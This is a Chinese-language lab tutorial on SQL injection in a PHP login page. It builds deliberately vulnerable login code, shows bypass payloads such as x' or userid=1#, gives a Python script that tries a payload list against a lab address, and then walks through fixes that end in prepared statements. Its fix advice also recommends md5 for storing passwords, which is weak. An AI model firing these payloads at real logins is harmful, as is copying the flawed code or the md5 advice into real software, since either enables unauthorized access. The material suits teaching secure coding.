SQL注入-登录漏洞
一、实现原理
1.环境准备
- 在Linux主机上准备一套Xampp:模拟攻防。
- 在VSCode利用Remote Development进行远程调试。
- 在Lampp的htdocs目录下创建security目录,用于编写服务器PHP代码。
2.编写login.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>登录蜗牛笔记</title>
<style>
/* 利用CSS的样式属性为一个或一批元素设定相同的样式 */
/* 标签选择器,针对当面页面所有相同的标签,设置相同的样式 */
div_x {
width: 300px; /* 设定DIV的宽度 */
height: 40px; /* 设定DIV的高度 */
border: solid 1px rgb(204, 83, 144); /* 设定DIV的边框样式 */
margin: auto; /* 设定DIV水平居中 */
/* background-color: brown; */
}
/* 建议使用类选择器:针对相同的类设置样式 */
.login {
width: 350px;
height: 50px;
border: solid 0px red;
margin: auto;
text-align: center;
}
.footer {
width: 500px;
height: 50px;
border: solid 0px blue;
margin: auto;
text-align: center; /* 让文字或图片在DIV中水平居中 */
}
.top-100 {
margin-top: 100px;
}
.font-30 {
font-size: 30px;
}
/* 为文本框或按钮设置统一样式 */
input {
width: 300px;
height: 35px;
text-align: center;
border-radius: 5px;
}
button {
width: 310px;
height: 40px;
background-color: dodgerblue;
color: whitesmoke;
border-radius: 5px;
}
</style>
</head>
<body style="background-image: url(./image/bg.jpg); background-size: cover;">
<div class="login top-100 font-30">登 录</div>
<form action="login.php" method="POST">
<div class="login">
<input type="text" name="username" />
</div>
<div class="login">
<input type="password" name="password" />
</div>
<div class="login">
<input type="text" name="vcode"/>
</div>
<div class="login">
<button type="submit">登录</button>
<!-- <input type="submit" value="登录" /> -->
</div>
</form>
<div class="footer top-100">版权所有©成都蜗牛创想科技有限公司 备案:蜀ICP备15014130号</div>
</body>
</html>
3.编写login.php
<?php
// 获取用户提交的登录请求的数据
$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
// 验证码的验证,此处启用了万能验证码,存在安全漏洞:OWASP-认证和授权失败
if ($vcode !== '0000') {
die("vcode-error");
}
// 连接到数据库
$conn = mysqli_connect('127.0.0.1', 'root', '123456', 'learn') or die("数据库连接不成功.");
// 设置编码格式的两种方式
mysqli_query($conn, "set names utf8");
mysqli_set_charset($conn, 'utf8');
// 以下代码没有进行爆破的防护,违背了OWASP-认证和授权失败
$sql = "select * from user where username='$username' and password='$password'";
$result = mysqli_query($conn, $sql); // $result获取到的查询结果,称结果集
if (mysqli_num_rows($result) == 1) {
echo "login-pass";
echo "<script>location.href='welcome.php'</script>";
}
else {
echo "login-fail";
echo "<script>location.href='login.html'</script>";
}
// 关闭数据库
mysqli_close($conn);
?>
4.编写登录成功页面welcome.php
<?php
// 以下代码违背了OWASP-失效的访问控制
echo '欢迎登录安全测试平台';
?>
5.进行渗透测试
在登录页面输入一个单引号[']作为用户名,密码123456,验证码0000,响应如下:
<br />
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in <b>/opt/lampp/htdocs/security/login.php</b> on line <b>23</b><br />
login-fail<script>location.href='login.html'</script>
以上响应出现MySQL的报错信息,上述报错信息存在两个可能的漏洞:
1、单引号可以成功引起SQL语句报错,说明后台没有专门对单引号进行处理。
select * from user where username='$username' and password='$password'
正常情况:select * from user where username='woniu' and password='123456'
试探情况:select * from user where username=''' and password='123456'
攻击Payload:
username: x' or userid=1#'
Post正文:username=x' or userid=1#'&password=123213&vcode=0000
select * from user where username='x' or userid=1#'' and password='123456'
> 试试: x' or 1=1 limit 1#'
2、在报错信息里面暴露了敏感信息:
/opt/lampp/htdocs/security/login.php,当前代码的绝对路径
6.注入类攻击的核心点
- 拼接为有效的语句或代码
- 确保完成了闭合,并且可以改变原有执行逻辑
二、基础修复
1.使用python进行注入测试
import requests
# 利用Python对PHP的登录页面进行Fuzz测试
def login_fuzz():
# 先使用单引号进行试探
url = 'http://192.168.112.188/security/login.php'
data = {'username':"'", 'password':'13245', 'vcode':'0000'}
resp = requests.post(url=url, data=data)
if 'Warning' in resp.text:
print("本登录功能可能存在SQL注入漏洞,可以一试.")
# 如果单引号存在利用嫌疑,则继续利用
payload_list = ["x' or id=1#", "x' or uid=1#", "x' or userid=1#", "x' or userid=2#", "' or userid=1"]
for username in payload_list:
data = {'username':username, 'password':'13245', 'vcode':'0000'}
resp = requests.post(url=url, data=data)
if "login-fail" not in resp.text:
print(f'登录成功,Payload为:{data}')
else:
print("通过试探,发现登录后台页面对单引号不敏感.")
if __name__ == '__main__':
login_fuzz()
2.任意访问权限页面
- 无论用户是否登录成功,均可以直接输入:http://192.168.112.188/security/welcome.php访问,而该页面是要求登录成功后才能访问,所以在该页面需要进行登录判断
- 在common.php中添加 session_start(),让其他页面引入,便于直接使用Session
- 在welcome.php页面中,源代码修改为:
include "common.php";
// 修复该漏洞:在显示文本之前,先进行SESSION变量的验证
if (!isset($_SESSION['islogin']) or $_SESSION['islogin'] != 'true') {
die ("你还没有登录,无法访问本页面.</br>");
}
echo '欢迎登录安全测试平台.</br>';
- 在login.php中,登录成功后添加以下代码:
if (mysqli_num_rows($result) == 1) {
echo "login-pass";
// 登录成功后,记录SESSION变量
$_SESSION['username'] = $username;
$_SESSION['islogin'] = 'true';
echo "<script>location.href='welcome.php'</script>";
}
3.login.php暴露文件绝对路径
- 当在用户名输入单引号时,会引起后台报错,一方面说明后台没有对单引号进行转义处理,导致单引号可以被注入到SQL语句中,进而导致SQL语句中存在单独的一个单引号,SQL语句无法有效闭合,发生错误。同时,还将该源代码的绝对路径暴露出来,这是敏感信息,应该将其屏蔽。修复代码如下:
$result = mysqli_query($conn, $sql) or die("SQL语句执行错误.");
4.用户表密码为明文
- user表中password字段必须是32+位
- 在用户注册时,必须使用md5函数将密码加密保存
// 例如使用md5函数:
$source = 'Hello123';
echo md5($source);
5.登录sql语句的逻辑问题
// 该SQL语句在实现登录操作时,存在严重的逻辑问题,用户名和密码的对比不应该放在同一条SQL语句中
// 应该先通过用户名查询user表,如果确实找到一条记录(用户名唯一的情况下),找到记录后再进行密码的单独对比
// $sql = "select * from user where username='$username' and password='$password'";
// 修复后的代码如下:
$sql = "select * from user where username='$username'";
$result = mysqli_query($conn, $sql) or die("SQL语句执行错误."); // $result获取到的查询结果,称结果集
// 如果用户名真实存在,刚好找到一条,则再单独进行密码的比较,即使用户名出现SQL注入漏洞,但是只要密码不正确,也无法登录
if (mysqli_num_rows($result) == 1) {
$row = mysqli_fetch_assoc($result);
if ($password == $row['password']) {
echo "login-pass";
// 登录成功后,记录SESSION变量
$_SESSION['username'] = $username;
$_SESSION['islogin'] = 'true';
echo "<script>location.href='welcome.php'</script>";
}
else {
// echo "password-error"; // 不建议直接明确告知用户,是用户名还是密码错误,否则对于爆破来说,更加容易
echo "login-fail";
echo "<script>location.href='login.html'</script>";
}
}
else {
echo "login-fail";
echo "<script>location.href='login.html'</script>";
}
6.使用addslashes函数
- addslashes函数可以将字符串中的单引号、双引号、反斜杠、NULL值自动添加转义符,从而防止SQL注入中对单引号和双引号的预防。
// 原始SQL语句如下:
$sql = "select * from user where username='$username' and password='$password'";
// 如果用户输入 x' or userid=1#' ,则SQL语句变成:
$sql = "select * from user where username='x' or userid=1#'' and password='$password'";
// 如果使用addslashes强制为用户输入添加转义符,则变成:
$sql = "select * from user where username='x\' or userid=1#\'' and password='$password'";
// 上述SQL语句的用户名为:x\' or userid=1#\',密码为$password,逻辑上保持不变
$sql = "select * from user where username='\' and password='$password'";
也可以使用mysql_real_escape_string函数进行相同的处理
7.使用mysqli预处理功能
- 预处理的过程,就是先交给MySQL数据库进行SQL语句的准备,准备好后再将SQL语句中的参数进行值的替换,引号会进行转义处理,将所有参数变成普通字符串,再进行第二次正式的SQL语句执行。
// 基于面向对象和MySQLi预处理功能实现SQL注入的防护
$conn = create_connection_oop();
$sql = "select userid, username, password, role from user where username=?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("s", $username); // 绑定查询参数
$stmt->bind_result($userid, $username2, $password2, $role); // 绑定结果参数
$stmt->execute();
$stmt->store_result();
if ($stmt->num_rows == 1) {
$stmt->fetch();
if ($password == $password2) {
echo "login-pass";
// 登录成功后,记录SESSION变量
$_SESSION['username'] = $username;
$_SESSION['islogin'] = 'true';
echo "<script>location.href='welcome.php'</script>";
}
else {
echo "login-fail";
echo "<script>location.href='login.html'</script>";
}
}
else {
echo "login-fail";
echo "<script>location.href='login.html'</script>";
}